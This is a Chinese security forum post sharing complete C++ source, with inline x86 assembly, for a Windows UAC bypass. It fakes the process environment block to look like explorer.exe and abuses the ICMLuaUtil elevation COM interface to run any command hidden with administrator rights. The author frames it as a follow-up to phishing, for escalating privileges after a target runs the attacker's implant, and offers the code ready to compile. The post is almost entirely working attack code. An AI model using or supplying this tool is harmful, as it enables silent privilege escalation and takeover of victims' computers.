安全矩阵

 找回密码
 立即注册
搜索
查看: 901|回复: 0

Bypass Uac分享

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-9-9 10:11:49 | 显示全部楼层 |阅读模式
前言





先介绍一个bypass uac的场景,在gf的场景,如果目标的外网资产打不动的话,一般情况就会采用社工钓鱼,但是一般情况下目标点击我们的马子通常是以当前用户的普通权限运行的(当然也可以在做马的时候设置UAC执行级别为requireAdministrator),如果目标用户在管理员组那就可以通过uac来提权了,那下面就分享一个bypass uac的代码,通过伪PEB+ICMLuaUtil,X86的选择好直接复制粘贴生成。
代码




    1. <p class="MsoNormal"><span lang="EN-US">#include "windows.h"<o:p></o:p></span></p>

    2. <p class="MsoNormal"><span lang="EN-US">#include "winternl.h"<o:p></o:p></span></p>

    3. <p class="MsoNormal"><span lang="EN-US">#include <iostream><o:p></o:p></span></p>

    4. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    5. <p class="MsoNormal"><span lang="EN-US">using namespace std;<o:p></o:p></span></p>

    6. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    7. <p class="MsoNormal"><span lang="EN-US">// </span>定义接口<span lang="EN-US"> ICMLuaUtil </span>和其方法<span lang="EN-US"><o:p></o:p></span></p>

    8. <p class="MsoNormal"><span lang="EN-US">typedef interface ICMLuaUtil ICMLuaUtil;<o:p></o:p></span></p>

    9. <p class="MsoNormal"><span lang="EN-US">typedef struct ICMLuaUtilVtbl {<o:p></o:p></span></p>

    10. <p class="MsoNormal"><span lang="EN-US">
    11. BEGIN_INTERFACE<o:p></o:p></span></p>

    12. <p class="MsoNormal"><span lang="EN-US">   
    13. HRESULT(STDMETHODCALLTYPE* QueryInterface)(<o:p></o:p></span></p>

    14. <p class="MsoNormal"><span lang="EN-US">     
    15. __RPC__in ICMLuaUtil* This,<o:p></o:p></span></p>

    16. <p class="MsoNormal"><span lang="EN-US">     
    17. __RPC__in REFIID riid,<o:p></o:p></span></p>

    18. <p class="MsoNormal"><span lang="EN-US">     
    19. _COM_Outptr_  void** ppvObject);<o:p></o:p></span></p>

    20. <p class="MsoNormal"><span lang="EN-US">
    21. ULONG(STDMETHODCALLTYPE* AddRef)(<o:p></o:p></span></p>

    22. <p class="MsoNormal"><span lang="EN-US">   
    23. __RPC__in ICMLuaUtil* This);<o:p></o:p></span></p>

    24. <p class="MsoNormal"><span lang="EN-US">
    25. ULONG(STDMETHODCALLTYPE* Release)(<o:p></o:p></span></p>

    26. <p class="MsoNormal"><span lang="EN-US">   
    27. __RPC__in ICMLuaUtil* This);<o:p></o:p></span></p>

    28. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    29. <p class="MsoNormal"><span lang="EN-US">  //
    30. incomplete definition<o:p></o:p></span></p>

    31. <p class="MsoNormal"><span lang="EN-US">
    32. HRESULT(STDMETHODCALLTYPE* SetRasCredentials)(<o:p></o:p></span></p>

    33. <p class="MsoNormal"><span lang="EN-US">   
    34. __RPC__in ICMLuaUtil* This);<o:p></o:p></span></p>

    35. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    36. <p class="MsoNormal"><span lang="EN-US">  //
    37. incomplete definition<o:p></o:p></span></p>

    38. <p class="MsoNormal"><span lang="EN-US">
    39. HRESULT(STDMETHODCALLTYPE* SetRasEntryProperties)(<o:p></o:p></span></p>

    40. <p class="MsoNormal"><span lang="EN-US">   
    41. __RPC__in ICMLuaUtil* This);<o:p></o:p></span></p>

    42. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    43. <p class="MsoNormal"><span lang="EN-US">  //
    44. incomplete definition<o:p></o:p></span></p>

    45. <p class="MsoNormal"><span lang="EN-US">
    46. HRESULT(STDMETHODCALLTYPE* DeleteRasEntry)(<o:p></o:p></span></p>

    47. <p class="MsoNormal"><span lang="EN-US">   
    48. __RPC__in ICMLuaUtil* This);<o:p></o:p></span></p>

    49. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    50. <p class="MsoNormal"><span lang="EN-US">  //
    51. incomplete definition<o:p></o:p></span></p>

    52. <p class="MsoNormal"><span lang="EN-US">
    53. HRESULT(STDMETHODCALLTYPE* LaunchInfSection)(<o:p></o:p></span></p>

    54. <p class="MsoNormal"><span lang="EN-US">   
    55. __RPC__in ICMLuaUtil* This);<o:p></o:p></span></p>

    56. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    57. <p class="MsoNormal"><span lang="EN-US">  //
    58. incomplete definition<o:p></o:p></span></p>

    59. <p class="MsoNormal"><span lang="EN-US">
    60. HRESULT(STDMETHODCALLTYPE* LaunchInfSectionEx)(<o:p></o:p></span></p>

    61. <p class="MsoNormal"><span lang="EN-US">   
    62. __RPC__in ICMLuaUtil* This);<o:p></o:p></span></p>

    63. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    64. <p class="MsoNormal"><span lang="EN-US">  //
    65. incomplete definition<o:p></o:p></span></p>

    66. <p class="MsoNormal"><span lang="EN-US">
    67. HRESULT(STDMETHODCALLTYPE* CreateLayerDirectory)(<o:p></o:p></span></p>

    68. <p class="MsoNormal"><span lang="EN-US">   
    69. __RPC__in ICMLuaUtil* This);<o:p></o:p></span></p>

    70. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    71. <p class="MsoNormal"><span lang="EN-US">
    72. HRESULT(STDMETHODCALLTYPE* ShellExec)(<o:p></o:p></span></p>

    73. <p class="MsoNormal"><span lang="EN-US">   
    74. __RPC__in ICMLuaUtil* This,<o:p></o:p></span></p>

    75. <p class="MsoNormal"><span lang="EN-US">   
    76. _In_     LPCTSTR lpFile,<o:p></o:p></span></p>

    77. <p class="MsoNormal"><span lang="EN-US">   
    78. _In_opt_  LPCTSTR lpParameters,<o:p></o:p></span></p>

    79. <p class="MsoNormal"><span lang="EN-US">   
    80. _In_opt_  LPCTSTR lpDirectory,<o:p></o:p></span></p>

    81. <p class="MsoNormal"><span lang="EN-US">   
    82. _In_      ULONG fMask,<o:p></o:p></span></p>

    83. <p class="MsoNormal"><span lang="EN-US">   
    84. _In_      ULONG nShow);<o:p></o:p></span></p>

    85. <p class="MsoNormal"><span lang="EN-US">
    86. END_INTERFACE<o:p></o:p></span></p>

    87. <p class="MsoNormal"><span lang="EN-US">} *PICMLuaUtilVtbl;<o:p></o:p></span></p>

    88. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    89. <p class="MsoNormal"><span lang="EN-US">interface ICMLuaUtil {<o:p></o:p></span></p>

    90. <p class="MsoNormal"><span lang="EN-US">
    91. CONST_VTBL struct ICMLuaUtilVtbl* lpVtbl;<o:p></o:p></span></p>

    92. <p class="MsoNormal"><span lang="EN-US">};<o:p></o:p></span></p>

    93. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    94. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    95. <p class="MsoNormal"><span lang="EN-US">// </span>以管理员权限运行指定的命令<span lang="EN-US"><o:p></o:p></span></p>

    96. <p class="MsoNormal"><span lang="EN-US">HRESULT RunElevated(LPCWSTR lpCmdline) {<o:p></o:p></span></p>

    97. <p class="MsoNormal"><span lang="EN-US">
    98. HRESULT status = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED |
    99. COINIT_DISABLE_OLE1DDE);<o:p></o:p></span></p>

    100. <p class="MsoNormal"><span lang="EN-US">
    101. ICMLuaUtil* CMLuaUtil = NULL;<o:p></o:p></span></p>

    102. <p class="MsoNormal"><span lang="EN-US">  IID
    103. xIID_ICMLuaUtil;<o:p></o:p></span></p>

    104. <p class="MsoNormal"><span lang="EN-US">
    105. LPCWSTR lpIID = L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}";<o:p></o:p></span></p>

    106. <p class="MsoNormal"><span lang="EN-US">
    107. IIDFromString(lpIID, &xIID_ICMLuaUtil);<o:p></o:p></span></p>

    108. <p class="MsoNormal"><span lang="EN-US">
    109. BIND_OPTS3 bop;<o:p></o:p></span></p>

    110. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    111. <p class="MsoNormal"><span lang="EN-US">
    112. ZeroMemory(&bop, sizeof(bop));<o:p></o:p></span></p>

    113. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    114. <p class="MsoNormal"><span lang="EN-US">  if
    115. (!SUCCEEDED(status))<o:p></o:p></span></p>

    116. <p class="MsoNormal"><span lang="EN-US">   
    117. return status;<o:p></o:p></span></p>

    118. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    119. <p class="MsoNormal"><span lang="EN-US">  // </span>使用<span lang="EN-US">CoGetObject</span>方法获取<span lang="EN-US">ICMLuaUtil</span>接口的实例<span lang="EN-US"><o:p></o:p></span></p>

    120. <p class="MsoNormal"><span lang="EN-US">  // </span>这里尝试获取<span lang="EN-US">Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}</span>的对象实例,该接口通常用于执行以管理员权限运行的操作<span lang="EN-US"><o:p></o:p></span></p>

    121. <p class="MsoNormal"><span lang="EN-US">
    122. bop.cbStruct = sizeof(bop);<o:p></o:p></span></p>

    123. <p class="MsoNormal"><span lang="EN-US">
    124. bop.dwClassContext = CLSCTX_LOCAL_SERVER;<o:p></o:p></span></p>

    125. <p class="MsoNormal"><span lang="EN-US">
    126. status =
    127. CoGetObject(L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}",
    128. (BIND_OPTS*)&bop, xIID_ICMLuaUtil, (VOID**)&CMLuaUtil);<o:p></o:p></span></p>

    129. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    130. <p class="MsoNormal"><span lang="EN-US">  if
    131. (status != S_OK)<o:p></o:p></span></p>

    132. <p class="MsoNormal"><span lang="EN-US">   
    133. return status;<o:p></o:p></span></p>

    134. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    135. <p class="MsoNormal"><span lang="EN-US">  // </span>构造带有<span lang="EN-US"> "/c" </span>命令的命令行<span lang="EN-US"><o:p></o:p></span></p>

    136. <p class="MsoNormal"><span lang="EN-US">
    137. wstring cmdLineWithC = L"/c " + wstring(lpCmdline);<o:p></o:p></span></p>

    138. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    139. <p class="MsoNormal"><span lang="EN-US">  // </span>以隐藏方式运行指定的命令<span lang="EN-US"><o:p></o:p></span></p>

    140. <p class="MsoNormal"><span lang="EN-US">
    141. status = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil,
    142. L"cmd.exe", cmdLineWithC.c_str(), NULL, SEE_MASK_DEFAULT, SW_HIDE);<o:p></o:p></span></p>

    143. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    144. <p class="MsoNormal"><span lang="EN-US">  if
    145. (CMLuaUtil != NULL) {<o:p></o:p></span></p>

    146. <p class="MsoNormal"><span lang="EN-US">   
    147. CMLuaUtil->lpVtbl->Release(CMLuaUtil);<o:p></o:p></span></p>

    148. <p class="MsoNormal"><span lang="EN-US">  }<o:p></o:p></span></p>

    149. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    150. <p class="MsoNormal"><span lang="EN-US">
    151. return status;<o:p></o:p></span></p>

    152. <p class="MsoNormal"><span lang="EN-US">}<o:p></o:p></span></p>

    153. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    154. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    155. <p class="MsoNormal"><span lang="EN-US">// </span>修改进程参数和<span lang="EN-US">Ldr</span>的内容,以运行指定路径的应用程序<span lang="EN-US"><o:p></o:p></span></p>

    156. <p class="MsoNormal"><span lang="EN-US">VOID
    157. ChangeProcessParametersAndLdr(PUNICODE_STRING name, LPCWSTR lpExplorePath) {<o:p></o:p></span></p>

    158. <p class="MsoNormal"><span lang="EN-US">
    159. typedef VOID(WINAPI* RtlInitUnicodeString)(_Inout_  PUNICODE_STRING DestinationString, _In_opt_
    160. PCWSTR SourceString);<o:p></o:p></span></p>

    161. <p class="MsoNormal"><span lang="EN-US">
    162. RtlInitUnicodeString pfnRtlInitUnicodeString = NULL;<o:p></o:p></span></p>

    163. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    164. <p class="MsoNormal"><span lang="EN-US">
    165. HMODULE hDll = LoadLibrary(L"ntdll.dll");<o:p></o:p></span></p>

    166. <p class="MsoNormal"><span lang="EN-US">
    167. pfnRtlInitUnicodeString = (RtlInitUnicodeString)GetProcAddress(hDll,
    168. "RtlInitUnicodeString");<o:p></o:p></span></p>

    169. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    170. <p class="MsoNormal"><span lang="EN-US">  // </span>使用<span lang="EN-US">RtlInitUnicodeString</span>方法来初始化<span lang="EN-US">UNICODE_STRING</span>结构体,修改其内容<span lang="EN-US"><o:p></o:p></span></p>

    171. <p class="MsoNormal"><span lang="EN-US">
    172. pfnRtlInitUnicodeString(name, lpExplorePath);<o:p></o:p></span></p>

    173. <p class="MsoNormal"><span lang="EN-US">}<o:p></o:p></span></p>

    174. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    175. <p class="MsoNormal"><span lang="EN-US">int main() {<o:p></o:p></span></p>

    176. <p class="MsoNormal"><span lang="EN-US">  int
    177. nArgs = 0;<o:p></o:p></span></p>

    178. <p class="MsoNormal"><span lang="EN-US">
    179. LPWSTR* lpParam = NULL;<o:p></o:p></span></p>

    180. <p class="MsoNormal"><span lang="EN-US">
    181. HRESULT status = NULL;<o:p></o:p></span></p>

    182. <p class="MsoNormal"><span lang="EN-US">
    183. PPEB ppeb = NULL;<o:p></o:p></span></p>

    184. <p class="MsoNormal"><span lang="EN-US">
    185. DWORD* pFullDllName = NULL, pBaseDllName = NULL;<o:p></o:p></span></p>

    186. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    187. <p class="MsoNormal"><span lang="EN-US">  // </span>解析命令行参数,获取要运行的命令<span lang="EN-US"><o:p></o:p></span></p>

    188. <p class="MsoNormal"><span lang="EN-US">
    189. lpParam = CommandLineToArgvW(GetCommandLine(), &nArgs);<o:p></o:p></span></p>

    190. <p class="MsoNormal"><span lang="EN-US">  if
    191. (nArgs <= 1) {<o:p></o:p></span></p>

    192. <p class="MsoNormal"><span lang="EN-US">   
    193. cout << "uacbypass.exe [cmd]";<o:p></o:p></span></p>

    194. <p class="MsoNormal"><span lang="EN-US">   
    195. return 0;<o:p></o:p></span></p>

    196. <p class="MsoNormal"><span lang="EN-US">  }<o:p></o:p></span></p>

    197. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    198. <p class="MsoNormal"><span lang="EN-US">
    199. LPWSTR lpCmdline = *(lpParam + 1);<o:p></o:p></span></p>

    200. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    201. <p class="MsoNormal"><span lang="EN-US">
    202. LPWSTR lpExplorePath = new WCHAR[MAX_PATH];<o:p></o:p></span></p>

    203. <p class="MsoNormal"><span lang="EN-US">
    204. GetWindowsDirectory(lpExplorePath, MAX_PATH);<o:p></o:p></span></p>

    205. <p class="MsoNormal"><span lang="EN-US">
    206. lstrcat(lpExplorePath, L"\\explorer.exe");<o:p></o:p></span></p>

    207. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    208. <p class="MsoNormal"><span lang="EN-US">  // </span>获取<span lang="EN-US">PEB</span>(<span lang="EN-US">Process Environment Block</span>)的相关字段地址<span lang="EN-US"><o:p></o:p></span></p>

    209. <p class="MsoNormal"><span lang="EN-US">
    210. __asm {<o:p></o:p></span></p>

    211. <p class="MsoNormal"><span lang="EN-US">   
    212. push eax<o:p></o:p></span></p>

    213. <p class="MsoNormal"><span lang="EN-US">   
    214. mov eax, fs:[0x30]<o:p></o:p></span></p>

    215. <p class="MsoNormal"><span lang="EN-US">   
    216. mov ppeb, eax<o:p></o:p></span></p>

    217. <p class="MsoNormal"><span lang="EN-US">   
    218. mov eax, [eax + 0x0c]<o:p></o:p></span></p>

    219. <p class="MsoNormal"><span lang="EN-US">   
    220. mov eax, [eax + 0x0c]<o:p></o:p></span></p>

    221. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    222. <p class="MsoNormal"><span lang="EN-US">   
    223. add eax, 0x24<o:p></o:p></span></p>

    224. <p class="MsoNormal"><span lang="EN-US">   
    225. mov pFullDllName, eax<o:p></o:p></span></p>

    226. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    227. <p class="MsoNormal"><span lang="EN-US">   
    228. sub eax, 0x24<o:p></o:p></span></p>

    229. <p class="MsoNormal"><span lang="EN-US">   
    230. add eax, 0x2c<o:p></o:p></span></p>

    231. <p class="MsoNormal"><span lang="EN-US">   
    232. mov pBaseDllName, eax<o:p></o:p></span></p>

    233. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    234. <p class="MsoNormal"><span lang="EN-US">   
    235. pop eax<o:p></o:p></span></p>

    236. <p class="MsoNormal"><span lang="EN-US">  }<o:p></o:p></span></p>

    237. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    238. <p class="MsoNormal"><span lang="EN-US">  // </span>修改进程的<span lang="EN-US">ImagePathName</span>、<span lang="EN-US">CommandLine</span>、<span lang="EN-US">FullDllName</span>、<span lang="EN-US">BaseDllName</span>字段,指向系统的<span lang="EN-US">explorer.exe</span>路径<span lang="EN-US"><o:p></o:p></span></p>

    239. <p class="MsoNormal"><span lang="EN-US">
    240. ChangeProcessParametersAndLdr(&ppeb->ProcessParameters->ImagePathName,
    241. lpExplorePath);<o:p></o:p></span></p>

    242. <p class="MsoNormal"><span lang="EN-US">
    243. ChangeProcessParametersAndLdr(&ppeb->ProcessParameters->CommandLine,
    244. lpExplorePath);<o:p></o:p></span></p>

    245. <p class="MsoNormal"><span lang="EN-US">
    246. ChangeProcessParametersAndLdr((PUNICODE_STRING)((unsigned
    247. char*)pFullDllName), lpExplorePath);<o:p></o:p></span></p>

    248. <p class="MsoNormal"><span lang="EN-US">
    249. ChangeProcessParametersAndLdr((PUNICODE_STRING)((unsigned
    250. char*)pBaseDllName), lpExplorePath);<o:p></o:p></span></p>

    251. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    252. <p class="MsoNormal"><span lang="EN-US">  // </span>以管理员权限运行指定的命令<span lang="EN-US"><o:p></o:p></span></p>

    253. <p class="MsoNormal"><span lang="EN-US">
    254. status = RunElevated(lpCmdline);<o:p></o:p></span></p>

    255. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    256. <p class="MsoNormal"><span lang="EN-US">  if
    257. (SUCCEEDED(status))<o:p></o:p></span></p>

    258. <p class="MsoNormal"><span lang="EN-US">   
    259. cout << "success!";<o:p></o:p></span></p>

    260. <p class="MsoNormal"><span lang="EN-US"> </span></p>

    261. <p class="MsoNormal"><span lang="EN-US">
    262. return 0;<o:p></o:p></span></p>

    263. <p class="MsoNormal"><span lang="EN-US">}</span></p>
    复制代码


效果





总结





害,没啥好总结的,下课!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 09:30 , Processed in 0.013459 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表